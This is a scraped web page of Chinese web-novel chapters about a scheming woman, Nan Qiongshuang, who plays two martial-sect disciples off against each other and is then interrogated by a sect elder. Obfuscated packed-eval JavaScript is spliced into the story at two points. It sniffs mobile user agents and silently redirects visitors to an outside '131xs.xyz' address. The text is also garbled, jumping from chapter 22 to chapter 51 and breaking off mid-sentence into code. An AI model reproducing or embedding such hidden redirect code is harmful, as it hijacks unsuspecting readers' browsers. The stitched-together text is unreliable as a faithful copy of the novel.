l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14980310|161080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对面的人笑得小人得志,又捡起那把折扇,悠哉摇着。 南琼霜长吸一口气,拈了颗黑子在棋盘边缘磕了三下: “李玄白。” 李玄白笑开,知道是耍无赖被发现了,于是弯着眼睛摇头,将那一枚黑子补上。 指间白子往棋盒内一丢。 “我输了。” 南琼霜将棋子搁进棋盒内,将盒盖仔细盖好。 一抬眼,却见矮桌对面,李玄白抱着胳膊,懒散倚在床上的刺绣靠枕上,像一只在暗处闪着幽冥双眼、端详着猎物动向的狐狸。 笑着,眼神幽幽。 打量她,不说话。 南琼霜是见惯了男人的,知道她赢了这一局,恐怕他没想到。 有什么想不到的?她不简单,他不是早就知道。 她神色如常地推开棋盘,站起身来,低头理理皱了的裙摆。 “天色晚了,顾止快回来了,我回去了。” “哎。”他叫住她。 南琼霜回头望他。 山风吹进屋内,吹得她长发一阵飘摇。落花与阳光里,他手指有一搭没一搭地在胳膊上敲,笑得像个闲散王爷: “来我这住吧。” 他伸手,捋了一下风中她飞扬的长发:“那小子性格多闷,又不让你出门,你犯得着日日在他房内陪他?” “来我这,想去哪,我带你去,多自由。” 自由。 南琼霜垂下眼睛。 拼死拼活接任务,不过是为有朝一日自由。 她道:“不了。” 李玄白愣了一下,随即了然,撑腮一声轻笑。 “你入山,原是为了顾止而来?” 南琼霜的心像一根缓缓拉紧的弦,垂着眼,神色却一丝波动也无,手指绕着长发,卷了两圈。 半晌,抬眼,笑得竟然又恶劣、又讥讽。 甚至,还带了一点……怜悯。 “李玄白。”她揶揄笑着,“一个吻而已,你当真了?” 李玄白一愣。 俄而又明白了她那笑里的意思。 亲他一下,逗他玩的,没别的意思。 他一时竟然觉得,自己像一只被人拿着骨头在眼前晃了一下、就开始垂涎不已的狗。 简直是奇耻大辱。 “艹!楚皎皎你……” 他把手中棋子往棋盒里一丢,炮弹一样的棋子,砸得盒子里其余的棋竟然蹦起来两颗。 猛地又抓住了她正在撩发的胳膊。 纤细的一只手臂,仿佛一支梅花枝,他稍用力,就会“咔擦”一声折断。 人却毫不惊惧,一双冷冷清清的、玻璃珠一般的眸子。 玩味地、戏谑地,睨着他。 冷笑一声,“天色晚了,送我回院子吧,玄白师兄。” * 顾止当日,在平日练功和日常事务之外,又挤出时间,给自己加练了三个时辰的瀑下入定。 又在佛堂内手抄了一个时辰的佛经。 一整日心浮气躁,到了暮色将天空染紫的黄昏,顾止最后一笔落定,将笔搁上笔架,卷起经书,望了望窗外渐晚的天色。 心头火终于算是平息下来。 他其实也仔细想过了。 昨日之事,楚姑娘并无任何过错,是他太龌龊,连他自己都不齿。 也不知道他是怎么了,竟然对她动那样的心思。 楚姑娘本不该受他那般粗鲁的告别的。 午休时,他眼见着她独自在院内花树下睡去,竟然心悸了,害怕见她,没敢上前。 满院的人竟然无人知道去替他提醒一下。 也不知身子那么弱的人,着凉了没有。 他垂着眼帘,橙色余晖被窗棂斜斜割成几块,他将经书缓缓卷成筒,想,要去给楚姑娘赔个不是。 龌龊的是他,他羞耻、痛厌、惊悔、迷惘、自惭形秽。 但这一切都跟楚姑娘没有关系。 他不喜欢他那些荒唐的梦,他可以抄经、礼佛、入定、练功,但他这些烂棉花般的心绪,并不应该由那个女子承受。 是他妄想她。 他出神地想起,她那时撑腮,灯笼光朦胧,她弯着眼睛笑: “公子不寂寞吗?” 她……那么好。 他答应过,再不会抛下她。 他面无表情地把经书理好,放到书架上,缓缓合拢了佛堂木门。 却见到候在佛堂外的阿良。 阿良略一躬身:“少掌门,玄白师弟今日已是第四次请见楚姑娘了。” 顾止连眼也没抬一下,“不准。请他回。” 那日,李玄白的眼神他瞧得那般清楚。 他纵是个傻子,也知道他是什么意思。 李玄白? 顾止垂着眼眸,将肩上落花拈去了。 他既不许自己对楚姑娘有那般想法,自然也不会允许其他人有。 回到院内,她午时休憩的石桌上唯余几片落花,四处寻了一圈,却没见她人影。 在她门上叩了几下,也不见有人来应。 他正疑惑,阿松过来,头畏惧且心虚地低着,一贯得体笃定的人,竟然吞吞吐吐: “少掌门,今日……玄白师兄径直来了院内,将楚姑娘带走了。” “带走了?”他愣了一瞬,竟然笑了一声,“来了我这里,问也不问我,将我的人带走了?” “玄白师兄说……”阿松头垂得更低,“问过了。没得您允准,干脆直接将人抢走了。” “带去哪了?”他发觉自己竟然抑制不住地冷笑起来。 “奴才不知……” 他笑了一下,“好个李玄白。” 竟然抢到他头上来了。 少掌门究竟是他顾止,还是你李玄白? 转身,回屋里拿了搁在桌上的佩剑,拔剑一看,剑光倒映着寒凉笑意,雪光一闪,猝然又将剑怼入鞘。 拿上剑,径直出门去。 袍袖翻飞。 阿松目送着他背影,立在廊下,目光深深。 这天山上,难得平静百年。 如今,又要变天了。 22. 第 22 章 暮色四合,橘色的流霞揉进未暗尽的蓝色,匀成一片绸缎般的丁香紫,打着褶,铺在夕阳远照的群山上。 飞鸟归林,虫鸣嘈杂。 南琼霜同李玄白并肩走在窄窄的山间石阶上,衣裙长得有些不便,她将裙摆在手里攥着。 石阶年久失修,盘旋向下,早已长满青苔,她小心翼翼盯着脚下。 李玄白横出小臂来由着她扶,“路这么难走,你留我那多好。” 她招惹李玄白,不过是为了钓顾止上钩。火候正好,便可助鱼儿一把力;火候太过,鱼就会弃饵不食了。 她笑而不答,忽然道,“怎么,你喜欢我?” “是啊。” 他遥望着天边的远山暮色,想都没想。 张嘴就来。 南琼霜轻笑一声,懒得理睬。 正垂眼看着脚底下的石阶迈步,却发现身侧一直扶着她的手臂落后了一阶,停在她身后半寸,不走了。 “怎么了?”她狐疑回首看他。 却见李玄白神色凝重一瞬,俄而又徐徐笑开,换上往日不服天地上下、五行能奈我何的神情。 他轻松道:“哟,师兄。” 前路石阶蜿蜒向下,路畔花树丛丛,顾止站在下面石阶上,长衣盛雪,看着他们两人,很好脾气地先笑了一笑。 李玄白仍伸着小臂扶着她,见了他,连作揖都懒得,只是似笑非笑打量着。 “师兄不是公务繁忙分身乏术,怎么好心情出来散步?” 顾止笑了,“师弟怎么也不练功,大好的天色出来闲逛?” 目光状似无意地,往南琼霜扶着他小臂的五指上瞥了一眼。 不看她,扫了一眼,轻飘飘就收回了眼神。 南琼霜心里一动,默默松开了李玄白的小臂。 李玄白垂首,冷瞥了她一眼,眼睫毛黑沉沉压着。 冷笑了一声。 “师兄说着要照看她,实则让人差点没命不说,还日日将人关在屋里,给你当小金丝雀。既然看不好,又何苦揽这瓷器活?专心练你的剑罢了。” 顾止笑道:“楚姑娘尚在养伤,逼着一个伤患行山,李玄白,你是否醉酒醉得脑子坏了。” “受伤又如何?又没有伤得快死了。”他两手一摊,“怕她闷了,带她出来玩玩。” 顾止:“山上这许多机关,伤着了楚姑娘,师弟是能担责?” 担责?李玄白故意含讥带讽地看了南琼霜一眼,“谁来问责?她死在山上,也没长老问。” 显然是记恨她避嫌。 南琼霜一时很想让他尝尝她的银针。 顾止笑得眉眼都弯起来,一字一句: “自然是,我来问责。” “师兄不觉得管得太多了?”李玄白将别在腰上的折扇哗一声甩开,兀自摇着,“你带人上山来,是为解毒。只要人好好服药,其余事,不归你管。” “少掌门平日事务那样繁忙,却百忙之中如此心系一个女子,还真是奇了怪了。”扇子摇了两下,很欠揍地道: “难道说,少掌门——” “住口!”长剑唰一声出鞘,一柄游龙雪剑寒光铮然,斜指李玄白咽喉。 李玄白躲也未躲,小耳坠被剑风迫得摇了摇,长睫往下压了两分,剑光映在脸上,只是垂眸冷笑。 南琼霜慌忙上前去,将李玄白拉得退了两步,自己站到那剑尖前: “公子……公子请勿动怒,玄白公子不过是——” 顾止剑尖一颤。 话未待说完,被李玄白不由分说攥住了胳膊,强硬拉到了身后。 即便是顶着顾止沉沉目光,就是不松手,拨了拨鲜红欲滴的小耳坠,道: “啧,少掌门担心什么。危险?我陪她呢。” “还是说,少掌门以为……” 一双好看极了的狐狸眼,眼头下勾,眼尾促狭扬起: “危险的不是这山,而是我?” 陪她? 这两个字当真是刺耳。 顺着他的话说便是着了他的道。顾止不愿再纠缠,收剑入鞘,简短道,“楚姑娘伤未愈,山上危险,不得擅自出院,这是我与师叔共同的意思。” 走上前几步,站近到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“姑娘小心。”身旁人握着她小臂的手又紧了紧。 南琼霜一笑,装着羞赧偏开脸去,“无事,公子不必担心。” 路已走稳了,顾止握着她手臂的手还是没有松开。 被他握着的地方,带着掌心的温度,一种安心的热。 他越界,她默许,一种默契的心照不宣。 明明中午见他,还那般凉薄冷淡,眼看着她在石桌上小憩,都不来提醒一句。 竟然只是被李玄白一激,形势就有了如此大的转变。 南琼霜笑意浅浅,顺手摘了一片伸到面前的花瓣。 “姑娘跟他出门,可曾遇到什么危险?” 不看她,神色只是淡淡的,仿佛随口一问。 “不曾。”她笑。 但不再往下深说任何。 顾止住了口,两人沉默片刻。 南琼霜噙着笑等着。 “那……今日姑娘可开心?” “开心。” 又陷入一阵难捱的沉默。 南琼霜只是笑意深深。 以他那般分寸得当的性格,照常来说,不该他问的事,他自然不会问。 何况,他本不必在乎。 但是,他如果不问,她不会多说一句。 想知道今天她同李玄白出去,相处如何,只有他来开这个口。 又往下走了六七个台阶,虫鸣阵阵,归鸟入林,一片嘈杂鸟啼。 两人一时无话,只是沉默着下台阶。 顾止垂首认真看着脚下山路,忽然轻描淡写似的,来了一句: “姑娘和他去哪了?” 南琼霜心里一动。 到底还是开了这个口。 她如实道:“凌绝阁。” “那凌绝阁地势高绝,不是一般人上得去的,姑娘不通武功,他竟硬将姑娘带上去了?” 她道:“我原也担心。不过李公子不知用了什么法子,我都没看清,一眨眼人就站在门外了。” 凌绝阁入口在悬崖底下。不消她细说,他也猜得到,是李玄白将她抱在怀里,带上去了。 抱。 顾止仍神色平静如水道:“几时去的?” “大约……申时。” “眼下已经酉正。”他望了她一眼,“两个时辰。姑娘去了这么久?” 竟然有些咄咄逼人的意思。 南琼霜装着心虚,垂首,眼睛眨得像错愕扇翅的幼鸟。 “公子的意思是……我不该去?” 她语气那般惊惶,竟像做错了事似的。顾止语气倏地软了下来,愕然发觉自己似乎在对她发火。 他自问,你气什么? “不是这个意思。”他淡淡道,“玄白师弟功力深厚,他欲带你在山上走一走,也定能护姑娘周全,这没什么不好。” “只是……” 话转了一半,半天没等到后面的说辞。 她养伤养了这些日子,已经好得差不多,日日关在院中,也确实闷。李玄白也确实练得好,带她出去,至少安全无虞。 “只是”什么? 连顾止自己也接不上。 “只是,姑娘受了伤,还是不要冒险的好。”末了,他如此说。 “好。”她乖顺点头,仰起头来,笑得如一朵迎风绽蕊的迎春花,“那么,等我再好些了,再去求他带我。” 顾止点头:“嗯。” 握着她胳膊的五指却用了力。 顾止低首,长发如泼墨丝缎垂在肩上,披络发间,瞧不清脸上神色。 只看到一对羽扇般的长睫,如落了雪的伞面,出神地往下压着。 他不说话。 山路尽了,那摇摇松动的石阶终于落在身后,顾止牵着她,一路走到了花丛繁茂的暮雪院门前。 推开门,阿松行礼,连带着竟也对她客气颔首。顾止理也不理,推着门犹自问: “姑娘到他那儿做什么了?” 门在身后悄然合上,一院子的人见了顾止无不肃立行礼,他只是牵着她小臂,一面走,回首等她回话。 “在他那……下了会棋。” 这般连珠炮般的诘问,是当真反常了。 虽然他面上不显。 但既然面上不显,她就足可以装傻。 南琼霜顿住脚步,不再同他往前,笑了笑,“公子就送到这吧,天色晚了,我也回房,不叨扰公子。” 说着,拨去他握着她的手,转身欲走。 却被他一把又抓住了。 她错愕回身。 落花片片,顾止神色仍没有什么变化,只是淡淡的,垂着一双蝶翼般的长睫。 “姑娘出去这许久,这就要回屋了?” 不等她答,径直将她引去中午小憩的那张石桌旁,将桌上落花一拂袖扬尽了,对身旁的侍仆道:“拿张棋盘来。” 自顾自在石凳上坐下,仰头对仍立在石桌旁的她笑,“早就想请姑娘下棋,今日不知姑娘可否得空?” “又下棋?” 顾止微笑着,“同师弟下过了棋,却不愿同我下,这是什么道理?” 她一时语塞,失笑,“并不是不愿……” 无奈摇摇头,在顾止面前落了座。 顾止:“阿良,去给姑娘拿个软垫,石凳凉。” 阿良领命,诺诺跑开。 院中人手上忙着各自职责,看着一派有条不紊,实则暗地里全在注意这边动作,无不拿余光偷瞟。 这女子当真是得了少掌门欢心了,连软垫都替她想着。 顾止又道:“取些桃花酿来。” 南琼霜一愣:“要喝酒吗?” 顾止:“姑娘不必,我今日想用些。” 二三盏纸灯笼被摆在石桌脚边,错落荧荧,桌上摆了一支白釉莲瓣烛台,侍仆们端着棋盒无声跑来跑去,一樽酒坛子被搬来搁在两人脚边。 火寸条一擦,一星燃烧的火苗,照亮顾止隽雅眉眼,他手掌拢着火,将蜡烛小心点燃。 “姑娘想要黑子白子?” “白子。” 顾止将装着白子的棋盒递过来,指间执着黑子,在棋盘边敲着。 “姑娘先吧。” 南琼霜一笑,拢袖拈了颗白子。 顾止待她,还真是跟李玄白不一样。 李玄白那厮,为人欠儿得不行,非得针锋相对争个高下不可,越能跟他叫板的,反而越得他高看。 顾止却是不同。 谦和温柔翩翩君子,待人接物滴水不漏,只要安心受他的好便是。 纸灯笼柔和亮着,映得棋盘光洁如新。 她笑着“咔哒”一声在棋盘中央落了子,道,“其实我并不怎么会下棋。” 顾止挑了挑眉,却没说话。 不会下棋吗? 那还在李玄白那待了一下午。 他面上不显,笑道,“那么,我让姑娘三子吧。” 南琼霜愣了一瞬,拣了三颗白子,搁在棋盘上,支颐笑看他。 阿松给顾止斟了酒,他虎口掐着竹节杯,在唇上抿了一口。 垂眸落下一子。 “姑娘今天下午的棋,是谁赢了?” “他赢过,我也赢了一次。”她掌上牵着披帛,拣了颗棋闲闲敲着,“你不知道,他那人耍赖呢。我下去捡个字帖的功夫,就将我的棋换了。” 顾止微笑摇头,一面落子,“师弟是那样,人倒不坏,鬼心眼多。” 她叹:“他鬼心眼是真的多。” 他望着棋盘,似是认真思索如何落子,口里却仿佛无意道,“姑娘离他远些得好。” 她笑,“怎么说?” 顾止这样的人,自然不会背后说人不是。 但她,偏偏想听。 顾止默了许久,纸灯笼温和的光将他半边脸照得如羊脂玉般温透,落花打着旋落到桌面上,他垂着眼睫,捏着酒盏抿了一口。 瞧着他君子面容,她笑着补了一句,“其实,他也挺好玩的。” “姑娘有所不知。”他将酒盏搁下,在石桌上磕了一声,“跳脱不定的性子,虽则有趣,有时也难免伤人伤己。” 语气那般冷肃,却垂着眼不看她。 她撑着腮,手指兴致盎然在桌面敲了一下:“我不怕。” …… 顾止没说什么,像是无所谓。 抿了一口酒,忽然皱了眉,将指间棋丢进了棋盒里。 “阿松。” 阿松过来,恭敬伏身。 “这酒是什么时候的?竟拿这些酒来。” “回少掌门,这酒已在窖里封存了十五年,今日刚刚打开。” “火候未到。”他将盏中残酒尽数泼进泥土里,“废了我一坛好酒。” 阿松将身子躬得更低。 “再开坛新的来。” 阿松领命去了。 “十五年的酒仍不够醇吗?”她问。 “平日也不怎么想喝,今日想喝,就格外挑剔些。” 她望着他克制神色,笑着想,今日想喝? 他望着棋盘道,“姑娘下吧。” 这一看,才发觉,一面下棋,一面说话,又分神出来逗他,这盘棋已经下得败势已现。 她道,“你瞧,我说过了,本是臭棋篓子一个。” 她拣了颗棋,忽然一看,雪白的裙角不知何时落在地上,弯着身子将裙角披帛理了理,再回看棋盘,却发觉方才掐着她脖子的一着棋,不着痕迹地消失了。 她一愣。 阿松又捧了新的酒来,顾止神色如常,等他斟酒。 她眨眨眼,回过味来。 当真是君子。 放在李玄白身上,不吃她两步棋算好的。 她笑着,去顾止棋盒里摸了一颗黑子,搁在原处,“公子都让了三步了,是我扶不上墙。”望着顾止微讶神色,她笑吟吟,“不必了。” 与李玄白那厮不同,顾止放她一着,是当真想让她赢。 但是,若要顾止对她刮目相看。 倒不如将他的庇护和偏爱,还回去一点。 虽然她体弱可怜,败倒也从容。 “姑娘当真是好记性,是我小看了。” 新的酒斟上,灯笼柔和的光下,酒液剔透如宝石,顾止颔首呷了一口,唇贴在杯缘。 他的唇倒是生得很好看。 南琼霜忽然发觉自己在想什么,一愣。 坐直了身体,心里讥诮冷笑。 想什么呢,傻子。 忽然一阵酒香,她道,“好香的酒。” 顾止:“这一坛,在泉下封存了二十五年,比我年岁还大。” 那酒,浓烈芬芳,如今落花时节处处是花香,然而只倒出一小杯酒,就已酒香扑鼻,醇厚醉人。 她望着顾止的酒杯,吞咽了一下。 她其实是不爱酒的,酒量也浅。 但是,如此馥郁醇烈的酒香,她这些年也没见过。 有点想试试,但也怕酒后误事。 顾止察觉她目光,“姑娘是想尝尝?” 闻着那酒香,一时她竟拒绝不了。 一口,只一口。 顾止侧头吩咐,“给姑娘上酒盏。” 阿松恭恭敬敬捧上了只莲瓣杯,躬身倒酒,递到南琼霜面前。 她捧杯接稳,阿松倒得太满了些,酒液在杯缘颤颤晃动,抖着一点柔软的光。 垂眸,吻去酒面。 低下眼睛,一双长睫仿佛面上落了两只蝶。 顾止只看见她樱唇微启,里面一点白生生的贝齿。 他飞快偏开眼。 “这酒性烈,姑娘在我处喝些也就罢了,万不能在别处喝这个。” 她心里笑,别处?直说凌绝阁罢。 只微啜了一口,登时一股悍烈的辛辣从上颚摧拉枯朽地烧到胃里,酒气几乎要将她天灵盖喷开。 她连眼泪都冲了出来,嘶着气扇着,“好辣。” 一盘棋尽,他赢得漂亮,却仿佛不曾赢过一般,直接将满盘棋重新分入棋盒,垂着眸分好了她的白子,先递过来。 “若是量浅,沾一口便罢了,这酒醉人。” 她隔着泪水问:“倒是有桃花香。也是桃花?” 他将黑子理好,搁在自己手边,又托杯抿了一口,“山上就属桃花多。” 桃花酿,灼灼多情的花,呛鼻熏头的香,一滴醉人,却长年封在天山雪水汇成的暗泉下,触手彻骨。 这是顾止最爱的酒。 顾止垂眼,又落下一子,她恍然惊觉,那般矜冷皎洁之人,竟然天生一双桃花眼。 眼角下勾,眼尾微翘,似醉非醉,水光朦胧。 只是,人太遥不可及,眼里那些一贯的迷蒙远意,轻易就被人解读为疏离,无人往勾魂多情一面想。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15007638|161080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她拈着一颗棋子,出神地放在唇上摩挲,想。 他长得好看。 平心而论。 好看到,几乎难以接近,动心便是亵渎,像肖想一尊落雪的佛。 他忽然抬眼道,“姑娘下午在师弟那,没喝酒吧?” “没。” “那好些。”他落了子,“若是下午喝过了,再饮这酒,定要醉了。” 她酒盏举到腮侧,手指在杯身敲了一下。 “我一直想问,”她将棋盘上新落的花瓣捡了,“李玄白似乎很得宠,很嚣张的样子。公子却是时常受罚。” “虽然行事端方的,显然是公子。那行事离经叛道、为人叛逆桀骜的,却怡然自得,甚至有闲心,大好的天色拉我去下棋。” 她问,“这究竟是什么道理?” 顾止沉默了至少一刻钟。 温适灯光将他轮廓照得柔和,照得亮他面容,他神色却犹自一片晦暗难言。 落花又落了几片。 他仍是不说话。 寂静里几声清脆惊心的鸟啼,南琼霜忽然意识到,或许她不该问。 还不该问。 是这酒的缘故。 才抿了两口,她就已经不辨什么该说什么不该说。 她懊恼将杯放下,忽然听对面的人开了口。 “师叔……”又停住了,自嘲着改口道,“不,其实父亲也是。长老们对我都是一样的。因着我肩上担子更重的缘故。其实我都理解。” “因为公子是少掌门,所以凡事更严苛,所以同样的错,总是先拿公子杀鸡儆猴,甚至鸡杀了,猴也不儆?” 他沉默不语,南琼霜嗤笑一声,“要我说,公子,不过都欺负你好脾气罢了。” 顾止垂着眼,只是兀自在棋盘上落子。 “也就只有公子这样的脾性,才忍得了如此明目张胆的偏心。至于什么少掌门之位?” 她指甲在酒盏上敲了一声,“你想,少掌门若是李玄白,他那个脾气,容不容人这般压他?” 黑子落,咔哒一声。 “其实……师叔和父亲这般待我,也有他们的道理。越多磨炼,心性越平稳坚韧,将来才更好执掌全山。” “错了,公子。”她几乎醉了,从食管到胃皆是一阵如火烧,身子软软趴在桌上,醉眼迷蒙道,“越能忍,该你忍的便越多。因为旁人不忍,只有你。” 往生门这些年,她也是看开了,但凡能吃苦,便有数不清的苦给你吃。 自欺欺人的自洽,自我感动的牺牲罢了。 顾止面色沉如水,不发一言。 落子声声,灯花砸了一朵。 “我明白公子的意思,也明白长老的说辞。不过也想问问,公子觉得,当真从责骂领罚中学到什么了吗?” 他仍是不说话。该她下子,她拈着白子,在桌面敲着: “公子心细如发,滴水不漏,待人接物无不面面俱到。这些,乃是因公子本性谦和妥帖,与动辄领罚无关。” 顾止只是出神,瞧着酒盏里泛开的细细涟漪。 她趴在桌上,竖起一根食指,一贯温柔娴雅的人,醉了竟有几分娇憨: “责骂,除了使人怯懦软弱、缩手缩脚以外,并没有任何益处。” “有时,也是我做错了。”他道,“做错,该罚。” 她摇摇头,笑,“公子,过错,改正即可,罚不是必要的。何况,还是从不一视同仁的罚。” 又一阵长久的沉默。 一阵山风吹来,吹得花树潇潇,落红如雨。灯笼光跳跃闪烁,映得顾止眼里一点光芒萌动。 她恍然惊觉,向来不同人谈心的,怎么竟然说了这么深了,定是这酒醉人。于是将话头往回拉: “其实,很多时候,错的与其说是公子,不若说是旁的。譬如说,公子为山内鞠躬尽瘁,日夜操劳,可有得了师叔一句夸奖吗?” 酒上了头,顾止抬眼一看,对面人从雪白的脸,到玉颈,一应红了起来,呼吸间喷薄酒香。 颊上两团潮红艳色。 顾止难以忍耐地闭了闭眼,想,今日这酒怎么这样热,烧身一般。 “其实,由我来看,公子是世上最好的人了。既体贴,又周到,温柔可靠,正人君子。在山上这些日子,若是没了公子……” 她声音仿佛呢喃,又像是撒娇的感叹: “……若是没了公子,我都不知怎么办。” 顾止听着,其实只敢听,不敢看,但这时无论如何想看她一眼。 一抬眼,竟然发现她拈着一颗白子,醉醺醺地夹在指间摩挲,在唇边。 玉白的小棋子,蹭上一缕销魂的、嫣红的口脂。 她浑然不觉,将那棋子落在棋盘上。 一点招摇又嚣张的红痕,堂而皇之地躺在他眼皮子底下,有意挑衅他的忍耐,嘲讽他的口非心是。 他心虚垂下眼,喉结滚动一下。 她轻轻呢喃:“公子……是这世界上,顶顶好、最最好——之人。” 说着,几乎支持不住,棉花一般醉卧在桌面上,头顶花簇里飘下一瓣花片,翻旋着落在她腮侧。 “姑娘醉了。”醉的何止是她,今日这酒太烈——他伸出手,不知出于什么心思,道,“别再喝了,给我吧。” 她强撑起来,花瓣轻盈滚落进衣领,钻进那玉瓶般的长颈深处,那一大片雪色里。 他视线跟着那花瓣坠落,一瞬,方知自己在看什么。 面无表情,大拇指却将酒盏生生抠裂了,一圈蛛丝般的裂纹。 喉结艰难滚动着。 眼睛底下,伸过来一只白釉的酒盏。 光芒温柔,灯火下,他看清了,杯缘一圈唇印,一小缕红艳艳的口脂,溶在酒里,打着转儿。 他神飞天外,忽然觉得,那红痕当是凤梨一般的滋味——甜,但刺人。 刺得人痛,刺得人身上发麻。 忽然她倒了倒,已经醉得难以支撑,杯子又顷刻歪到一旁。 她掌缘支着太阳穴,尽力将杯递出去,道:“接稳。” 他心说,接吻? 小小的檀口,一开一合,软而翘的两片唇。 他确实想。 他确实。 他…… 他不敢。 她醉倒了。阖着眼睡着,两颊绯红,仿佛…… 仿佛。 他连想也不敢想。 他想,还好她睡着了。 50-60 第51章 这些日子,李玄白起早贪黑地练功,每日寅正时分便出了门,大约酉正才回来。她自己一个人,无法随意在山上走动,只好日日在凌绝阁看话本子。 有一日,正是未时,她在窗前琢磨一本棋谱,忽然门却被敲响了。 门一打开,竟是慧德身旁的青灯。 悬崖底下,山风呼啸,青灯在门前几寸宽的窄阶上稳稳立着,蔚蓝天色里,朝她行礼: “楚姑娘,长老请您往菩提阁说话。” 菩提阁内佛香袅袅,珠帘安静垂挂,浅灰色的烟,轻而缓地升腾起来,掩住了壁上那幅杨柳观音像。 见了她来,慧德在珠帘内,将经书又翻了一页。 “见过长老。” “起来吧。”他手掌一抬,“进来坐,姑娘。” 他说“进来”,是说,要她走进珠帘内。 她双手交叠在小腹,心神不定地捏了捏自己的手。 青灯撩起珠帘,静侍在侧,她低头进去,方见今日珠帘内,竟然设了一张小几,慧德坐在一侧,对面摆了一只蒲团,几上茶水已经斟好,一侧一只茶盏,正腾腾冒着热气。 身后,青灯将珠帘落了,她站在原地,“长老……”今日这是摆的什么阵仗? 慧德抬头与她对视一瞬,竟然笑了起来,“请坐。” 她推脱不得,缓缓在蒲团上跪坐下来。 对面,慧德摸着自己光圆的头顶,仍低头看着书,“姑娘造访我们山上,也已经月余,不知可还习惯?” “回长□□惯的,山上众人待我都极好。” “玄白那小子性格招摇,脾性暴烈,不知姑娘这些日子借住凌绝阁,与他相处得是否还算融洽?” 她低了头,“是。” “那 么,老朽倒有些事情想问姑娘。”他将经书搁在桌上,原本掖在书背下的书页,便一页页翻上来,“前几日,有人瞧见他夜上三清峰,甚至曾经夜探星辰阁,这些事情,姑娘是否知晓?” 夜探星辰阁? 南琼霜愣怔一瞬,低下头道,“不曾。他曾经夜探星辰阁?” 慧德沉默良久,一双茂密长寿眉下,松弛而多层的眼帘耷拉着,不知在想什么,只是兀自拨着掌中念珠。 半晌,悠长叹了一声。 “李玄白那厮,太有天赋,一直以来,老夫过分偏爱他,此事是我之过。一时娇惯,坏了那孩子根基,终于酿成大错。” 南琼霜袖中五指缓缓收紧,只感觉似乎身上都更凉了些。 ……酿成大错?什么错?这是定了罪了? 不是早上还神采奕奕的出门练功吗?这些日子,也没见他神色异常。 他不仅夜探星辰阁,还被抓住了?那人现在在哪? “……大错?”她勉强笑了笑,只觉得连腮肉都僵着,“奴婢不明白。怎样的大错?” “前些日子,他屡屡趁着夜色单独上星辰阁探点,被山上弟子发现,报告到了老夫这里。老夫便派了人跟随,想看看这逆徒究竟意欲何为。” “不想,今日白天,当真撞见这厮偷上三清峰,私入星辰阁,窃了《天山心经》,意欲潜逃下山。” 南琼霜诧异一瞬,垂眸不语。 “万幸,其人眼下已经被老夫捉拿归案,正在涟雷台上拷打。《心经》也未失窃,再度放入了星辰阁内保存。姑娘不必担心。” 不必担心? 她的唇角勾起一点微妙而讥讽的弧度。他是城门,她是池鱼。哪有城门倒了,池鱼安然无恙的道理? “长老,这些日子,我并不见他有什么异常,此事也太突然了。确已证据确凿、查明无误,不会有任何冤枉?” 慧德默然,沉痛颔首。 南琼霜眉毛拧了一瞬。怎么会?他早上还跟没事人一样。 是不是这慧德在诈她? 她一时不知说什么,迟疑道,“奴婢当真丝毫不知情,这些日子,也未见他有什么反常之心。” 心里却道,可是,今日把她唤来此处是为何?看这形势,似乎已经尘埃落定,几乎没有什么转圜余地,她求情也是无用,慧德也必不可能是想听她为他求情。 难道是专程来告知她,李玄白已经在审讯台上受刑? 他何必如此?之前,慧德欲罚她入逝水牢时,那阴鸷眼神,南琼霜记忆犹新。这慧德,绝非良善之人。 他怎会管这闲事? “姑娘不曾发觉,是自然,姑娘又不通武功。李玄白那一身功夫,欲瞒住姑娘,实在不算难事。”慧德理了理膝上袈裟的褶皱,“其实,此事,老夫也曾怀疑姑娘亦是同谋,已经私下查了姑娘许久。最终结果,便是姑娘确没有染指此事,老夫心中甚安。” 南琼霜垂下眼眸,微微将唇抿了抿。 查过她,她倒是不惊讶。可是,他那样偏爱李玄白,怎么如今,似乎一点也不痛心? “毕竟,前些日子,李玄白偷上三清峰时,瑶洁曾在两仪阁外见过姑娘。” 两仪阁? 南琼霜倏然抬眼,却正好撞见慧德浓密双眉下,一双毒蛇般的小眼珠,瞳仁细小,几乎是兽一般的竖瞳,一转不转钉在她身上。 那一瞬间,她仿佛身上被蛇牙咬出两个血洞。 这老家伙可绝不是什么好东西。 这样的眼神,今日恐怕是来试探她的。 至于李玄白盗窃《天山心经》一事,事发太突然,连她也没察觉到一丁点,恐怕其中有诈。 她忙下了蒲团,跪在地上,恭敬垂首,“长老,奴婢确实不曾参与此事,但有一事还需向长老禀报。” 一字一句道,“奴婢不曾去过那两仪阁。” “怎么会?”慧德手一抬,示意她起身,“山上确有人看见过的,说姑娘在两仪阁外的金佛前许愿上香。姑娘只是不知道那处地方是两仪阁吧。” “不是。”她将头垂得更低了些,几乎在地上叩头,“奴婢这些日子,一直待在凌绝阁内,不曾去别的什么地方。” “姑娘,”慧德的声音沉而悠长,压在她头顶,她只感觉自己是溺在水面之下的人,想往上浮,偏生被一块浮木压着,不得一口空气,“倘若这么说,姑娘可就有叛贼同党之嫌了。” “奴婢只是实事求是。” 许久,慧德没有再说话。 菩提阁内,一阵诡异的平静。佛香犹自燃着,忽然扑落下来一截,碎在香炉里。 山风轻轻吹进阁内,带动珊瑚珠帘,珠子彼此撞击,发出细碎的格愣声。 